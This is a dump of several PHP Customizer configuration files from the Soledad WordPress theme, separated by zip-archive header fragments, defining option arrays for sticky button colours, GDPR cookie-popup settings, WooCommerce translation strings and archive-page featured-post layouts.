	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Hover Color', 'soledad' ),
);

/* Sticky Button Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sitcky Button on Mobile', 'soledad' ),
	'id'       => 'penci_toc_btnsticky_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_msticky_w_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_msticky_w_bdcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_msticky_btn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Background Color', 'soledad' ),
);
/*$options[] = array(
	'id'        => 'penci_toc_msticky_btn_bghcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Background Color', 'soledad' ),
);*/
$options[] = array(
	'id'        => 'penci_toc_msticky_btn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Color', 'soledad' ),
);

/*$options[] = array(
	'id'        => 'penci_toc_msticky_btn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Color', 'soledad' ),
);*/

return $options;
PK     N\%M    C  inc/customizer/config/sections/pencidesign_general_gdpr_section.phpnu [        <?php
$options = [];
$options[] = array(
	'label'    => esc_html__( 'Remove all default google fonts - load default fonts from located hosting', 'soledad' ),
	'id'       => 'penci_disable_default_fonts',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => esc_html__( 'Remove all default fonts loads by the theme from located hosting', 'soledad' ),
	'id'          => 'penci_disable_all_fonts',
	'description'=>__('This option only works when you check to option "Remove all default Google fonts" above.','soledad'),
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => esc_html__( 'Enable Cookie Law Policy PopUp At The Footer', 'soledad' ),
	'id'       => 'penci_enable_cookie_law',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'id'       => 'penci_cookie_law_style',
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Cookie Law Policy PopUp Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'style-1'   => __( 'Style 1', 'soledad' ),
		'style-2'   => __( 'Style 2', 'soledad' ),
		'style-3'   => __( 'Style 3', 'soledad' ),
		'style-4'   => __( 'Style 4', 'soledad' ),
	]
);
$options[] = array(
	'label'    => esc_html__( 'Remove "Privacy & Cookies Policy" notice after Accept clicked', 'soledad' ),
	'id'       => 'penci_show_cookie_law',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Description on Cookie Law PopUp', 'soledad' ),
	'id'       => 'penci_gprd_desc',
	'type'     => 'soledad-fw-textarea',
	'default'  => penci_default_setting_customizer( 'penci_gprd_desc' ),
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Accept"', 'soledad' ),
	'id'       => 'penci_gprd_btn_accept',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_btn_accept' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Read More"', 'soledad' ),
	'id'       => 'penci_gprd_rmore',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_rmore' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom URL on "Read More" Button', 'soledad' ),
	'id'       => 'penci_gprd_rmore_link',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_rmore_link' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Privacy & Cookies Policy"', 'soledad' ),
	'type'     => 'soledad-fw-text',
	'id'       => 'penci_gprd_policy_text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_policy_text' ),
	'sanitize' => 'sanitize_text_field'
);
$options_color_gprd = array(
	'penci_gprd_bgcolor'     => esc_html__( 'Background For Cookie Law Policy PopUp', 'soledad' ),
	'penci_gprd_color'       => esc_html__( 'Text Color For Cookie Law Policy PopUp', 'soledad' ),
	'penci_gprd_btn_color'   => esc_html__( 'Text Color For Accept Button', 'soledad' ),
	'penci_gprd_btn_bgcolor' => esc_html__( 'Background For Accept Button', 'soledad' ),
	'penci_gprd_border'      => esc_html__( 'Border Color For Cookie Law Policy PopUp', 'soledad' ),
);
foreach ( $options_color_gprd as $key => $label ) {
	$options[] = array(
		'label'    => $label,
		'id'       => $key,
		'type'     => 'soledad-fw-color',
		'sanitize' => 'sanitize_hex_color'
	);
}
return $options;
PK     N\<x  x  R  inc/customizer/config/sections/pencidesign_woo_section_transition_lang_section.phpnu [        <?php
$options = array();
if ( ! function_exists( 'penci_woo_get_translate_text' ) ) {
	return false;
}
$options[]                    = array(
	'default'  => 'Shop by Department',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Shop by Department', 'soledad' ),
	'id'       => 'penci_woo_vertical_menu_title',
	'type'     => 'soledad-fw-text',
);
$penciwoo_translate_texts     = penci_woo_get_translate_text();
$penci_woo_already_translates = array(
	'penci_woocommerce_wishlist_empty_text',
	'penci_woocommerce_compare_empty_text',
	'penci_woo_trans_compare_empty_title',
	'penci_woo_trans_wishlist_empty_title',
	'penci_woo_cart_empty_title',
	'penci_woo_cart_empty_textarea',
);
foreach ( $penci_woo_already_translates as $untranslate ) {
	unset( $penciwoo_translate_texts[ $untranslate ] );
}
foreach ( $penciwoo_translate_texts as $translate_option => $translate_default ) {
	$options[] = array(
		'id'       => $translate_option,
		'default'  => $translate_default,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: ', 'soledad' ) . $translate_default,
		'type'     => 'soledad-fw-text',
	);
}

return $options;
PK     N\^E    K  inc/customizer/config/sections/pencidesign_general_archive_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Category, Tag, Search, Archive Layout', 'soledad' ),
	'id'       => 'penci_archive_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-boxed'       => __( 'Grid Boxed', 'soledad' ),
		'grid-boxed-2'     => __( 'Grid Boxed 2', 'soledad' ),
		'grid-boxed-3'     => __( 'Grid Boxed 3', 'soledad' ),
		'grid-boxed-4'     => __( 'Grid Boxed 4', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'list-boxed'       => __( 'List Boxed', 'soledad' ),
		'list-boxed-2'     => __( 'List Boxed 2', 'soledad' ),
		'list-boxed-3'     => __( 'List Boxed 3', 'soledad' ),
		'timeline'         => __( 'Timeline', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	),
	'default'  => 'standard',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'              => 'penci_archive_grid_col',
	'label'           => __( 'Grid Columns', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
		'3' => __( '3 Columns', 'soledad' ),
		'4' => __( '4 Columns', 'soledad' ),
		'5' => __( '5 Columns', 'soledad' ),
	),
	'sanitize'        => 'penci_sanitize_choices_field',
	'default'         => '',
	'active_callback' => [
		[
			'setting'  => 'penci_archive_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2','grid-boxed-3', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'id'              => 'penci_archive_grid_mcol',
	'label'           => __( 'Grid Columns on Mobile', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
	),
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_archive_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'masonry', 'grid' ],
		]
	],
);
/* Archive Featured Settings */
$options[] = array(
	'label'    => esc_html__( 'Archive Builder Templates', 'soledad' ),
	'id'       => 'penci_heading_archi_template',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$archive_layout     = [];
$archive_layout[''] = __( 'Default Template', 'soledad' );
$archive_layouts    = get_posts( [
	'post_type'      => 'archive-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $archive_layouts as $alayout ) {
	$archive_layout[ $alayout->post_name ] = $alayout->post_title;
}

$options[] = array(
	'id'          => 'penci_archive_cat_template',
	'label'       => __( 'Select Builder Template for Categories Pages', 'soledad' ),
	'description' => __( 'To select a custom template for each category, go to Dashboard > Posts and edit the category for which you want to change the template. You can add and edit a category template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_tag_template',
	'label'       => __( 'Select Builder Template for Tags Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a tag template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_author_template',
	'label'       => __( 'Select Builder Template for Author Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a author template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_date_template',
	'label'       => __( 'Select Builder Template for Day/Times Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a day/times archive template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_search_template',
	'label'       => __( 'Select Builder Template for Search Result Page', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a search result template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$penci_featured_cat_layout = [
	''                         => esc_html__( 'None', 'soledad' ),
	'style-1 penci-grid-col-2' => esc_html__( 'Grid 2 Columns', 'soledad' ),
	'style-1 penci-grid-col-3' => esc_html__( 'Grid 3 Columns', 'soledad' ),
	'style-1 penci-grid-col-4' => esc_html__( 'Grid 4 Columns', 'soledad' ),
	'style-1 penci-grid-col-5' => esc_html__( 'Grid 5 Columns', 'soledad' ),
	'style-3'                  => esc_html__( 'Featured 3', 'soledad' ),
	'style-4'                  => esc_html__( 'Featured 4', 'soledad' ),
	'style-5'                  => esc_html__( 'Featured 5', 'soledad' ),
	'style-6'                  => esc_html__( 'Featured 6', 'soledad' ),
	'style-7'                  => esc_html__( 'Featured 7', 'soledad' ),
	'style-8'                  => esc_html__( 'Featured 8', 'soledad' ),
	'style-9'                  => esc_html__( 'Featured 9', 'soledad' ),
	'style-10'                 => esc_html__( 'Featured 10', 'soledad' ),
	'style-11'                 => esc_html__( 'Featured 11', 'soledad' ),
	'style-12'                 => esc_html__( 'Featured 12', 'soledad' ),
	'style-13'                 => esc_html__( 'Featured 13', 'soledad' ),
	'style-14'                 => esc_html__( 'Featured 14', 'soledad' ),
	'style-15'                 => esc_html__( 'Featured 15', 'soledad' ),
	'style-16'                 => esc_html__( 'Featured 16', 'soledad' ),
	'style-17'                 => esc_html__( 'Featured 17', 'soledad' ),
	'style-18'                 => esc_html__( 'Featured 18', 'soledad' ),
	'style-19'                 => esc_html__( 'Featured 19', 'soledad' ),
	'style-20'                 => esc_html__( 'Featured 20', 'soledad' ),
	'style-21'                 => esc_html__( 'Featured 21', 'soledad' ),
	'style-22'                 => esc_html__( 'Featured 22', 'soledad' ),
];
/* Archive Featured Settings */
$options[] = array(
	'label'    => esc_html__( 'Show Featured Posts', 'soledad' ),
	'id'       => 'penci_heading_featured_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
/* Category Featured */
$options[] = array(
	'id'       => 'penci_cat_featured_layout',
	'label'    => __( 'Category Pages Featured Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $penci_featured_cat_layout,
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_category_featured_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'       => __( 'Height for Featured Styles', 'soledad' ),
	'description' => __( 'for Featured Posts on Category Pages', 'soledad' ),
	'id'          => 'penci_category_featured_height',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_category_featured_height',
		'mobile'  => 'penci_category_featured_mheight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-size',
	'id'          => 'penci_cat_featured_theight',
	'sanitize'    => 'absint',
	'label'       => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'description' => __( 'for Featured Posts on Category Pages', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_cat_featured_theight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Tags Featured */
$options[] = array(
	'id'       => 'penci_tag_featured_layout',
	'label'    => __( 'Tag Pages Featured Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $penci_featured_cat_layout,
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_tag_featured_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles', 'soledad' ),
	'id'       => 'penci_tag_featured_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_tag_featured_height',
		'mobile'  => 'penci_tag_featured_mheight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_tag_featured_theight',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'description' => __( 'for Featured Posts on Tags Pages', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_tag_featured_theight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_arf_orderby',
	'label'    => __( 'Featured Posts Sort By', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		''              => __( 'Published Date', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	],
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_sortby',
	'label'    => __( 'Featured Posts Order By', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'desc' => __( 'DESC', 'soledad' ),
		'asc'  => __( 'ASC', 'soledad' ),
	],
	'default'  => 'desc',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_img_ratio',
	'type'     => 'soledad-fw-text',
	'label'    => __( 'Image Ratio for Grid Layout (Unit is %. Eg: 50.5)', 'soledad' ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_text_field',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles', 'soledad' ),
	'id'       => 'penci_arf_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_height',
		'mobile'  => 'penci_arf_mheight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'id'       => 'penci_arf_theight',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_theight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Gap Between Featured Posts', 'soledad' ),
	'id'       => 'penci_arf_gap',
	'type'     => 'soledad-fw-size',
	'default'  => '4',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_gap',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Custom Title Words Length', 'soledad' ),
	'id'       => 'penci_arf_titlength',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_titlength',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Hide Categories', 'soledad' ),
	'id'       => 'penci_arcf_cat',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_arcf_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Post Author', 'soledad' ),
	'id'       => 'penci_arcf_author',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Comments Count', 'soledad' ),
	'id'       => 'penci_arcf_cm',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_arcf_view',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Reading Time', 'soledad' ),
	'id'       => 'penci_arcf_reading',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Categories on Mobile', 'soledad' ),
	'id'       => 'penci_arcf_mcat',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Meta on Mobile', 'soledad' ),
	'id'       => 'penci_arcf_mmeta',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Google Adsense/Custom HTML Code Display Below Featured Posts', 'soledad' ),
	'id'       => 'penci_arcf_adbelow',
	'type'     => 'soledad-fw-textarea',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Latest Posts Heading Title Below the Featured Area', 'soledad' ),
	'description' => __( 'Replace your category/tag name with {name} string.', 'soledad' ),
	'type'        => 'soledad-fw-text',
	'id'          => 'penci_arf_title',
	'default'     => 'Latest in {name}',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_title_style',
	'label'    => __( 'Select Latest Posts Title Heading Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''                  => __( 'Follow Title Box Style', 'soledad' ),
		'style-1'           => __( 'Default Style', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
	)
);
/* Font size & color */
$options[] = array(
	'id'       => 'penci_heading_featured_fzc',
	'label'    => esc_html__( 'Featured Posts Font Size & Colors', 'soledad' ),
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'id'       => 'penci_arf_catfs',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Categories', 'soledad' ),
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_catfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_t_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Big Grid Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_arf_t_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_t_fs',
		'mobile'  => 'penci_arf_t_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_t_bmfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Title on Big Items', 'soledad' ),
	'id'       => 'penci_arf_t_bfs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_t_bfs',
		'mobile'  => 'penci_arf_t_bmfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Big Grid Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_arf_meta_fs',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_meta_fs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Color */
$options[] = array(
	'id'       => 'penci_arf_cat_cl',
	'label'    => __( 'Post Categories Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'id'       => 'penci_arf_cat_hcl',
	'label'    => __( 'Post Categories Hover Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'id'       => 'penci_arf_t_cl',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_arf_t_hcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_arf_meta_cl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Post Meta Links Color', 'soledad' ),
	'id'       => 'penci_arf_meta_lcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
